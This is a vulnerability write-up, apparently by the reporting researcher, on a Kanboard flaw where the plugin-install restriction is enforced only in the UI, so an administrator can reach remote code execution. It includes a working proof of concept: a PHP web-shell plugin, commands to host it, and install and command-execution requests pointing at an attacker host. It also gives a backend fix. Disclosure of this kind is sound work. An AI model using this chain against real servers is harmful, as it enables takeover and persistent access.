TL;DR
An authenticated administrator can bypass security controls in Kanboard and install a malicious plugin, leading to Remote Code Execution (RCE).
Introduction

This vulnerability was originally reported via GHSA and demonstrates how incomplete security control enforcement can lead to critical impact.
In this post, I analyze the root cause, exploitation flow, and practical impact of this issue, along with a working Proof-of-Concept (PoC).
Overview
While analyzing Kanboard, I discovered a security control bypass that allows an administrator to achieve full Remote Code Execution (RCE).
Kanboard includes a configuration option (PLUGIN_INSTALLER) designed to restrict plugin installation from remote sources.
However, this restriction is only enforced at the UI level — not in the backend logic.
This inconsistency allows attackers to directly invoke backend functionality and bypass intended protections.
Root Cause
The issue stems from missing authorization checks in backend logic.
Intended Security Design
Kanboard uses a constant:
define('PLUGIN_INSTALLER', ...);This is meant to control whether plugin installation is allowed.
The UI correctly respects this setting:
Installer::isConfigured()Actual Behavior
The backend install() function does not validate this condition:
$installer->install($pluginArchiveUrl); // No security checkAs a result:
User request → Backend install() → Plugin download → Plugin executionNo verification of PLUGIN_INSTALLER occurs.
Data Flow
Admin request
↓
Direct endpoint access
↓
archive_url parameter injection
↓
Plugin download & installation
↓
Automatic execution
↓
Remote Code Execution (RCE)Proof of Concept (PoC)
Step 1: Create Malicious Plugin
<?php
namespace Kanboard\Plugin\Exploit;
use Kanboard\Core\Plugin\Base;
class Plugin extends Base {
public function initialize() {
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
}
}Step 2: Host Plugin
zip -r exploit.zip Exploit/
python3 -m http.server 80Step 3: Trigger Installation
http://[TARGET]/?controller=PluginController&action=install
&archive_url=http://[ATTACKER]/exploit.zip
&csrf_token=[TOKEN]Step 4: Execute Commands
http://[TARGET]/?controller=DashboardController&action=show&cmd=idImpact
This vulnerability leads to full system compromise.
Direct Impact
- Arbitrary command execution
- Malicious plugin deployment
- Persistent access
Extended Impact
- Sensitive file access (config, credentials)
- Database compromise
- Internal network pivoting
- Long-term persistence via web shell
Why This Matters
This vulnerability is particularly interesting because:
- Security controls exist but are not enforced consistently
- UI restrictions give a false sense of security
- Backend trust assumptions are broken
In real-world environments, this pattern is extremely common and dangerous.
Mitigation
Add proper authorization checks in backend logic:
if (!Installer::isConfigured()) {
throw new AccessForbiddenException();
}Key Recommendations
- Never rely on UI-based security controls
- Always validate permissions in backend logic
- Apply consistent security checks across all execution paths
Key Insight
Security features that are only enforced at the UI level are not security controls — they are merely suggestions.
Conclusion
This case highlights a critical lesson:
Security must be enforced where execution happens, not where visibility is controlled.
Even with authentication required, improper authorization handling can lead to full system compromise.
Contribution
- Identified security control bypass
- Developed working RCE PoC
- Analyzed backend authorization flaw
- Validated exploitation flow
- Provided mitigation strategy
References
- GHSA Advisory: https://github.com/drkim-dev/CVE-2026-25924
Author
drkim
GitHub: https://github.com/drkim-dev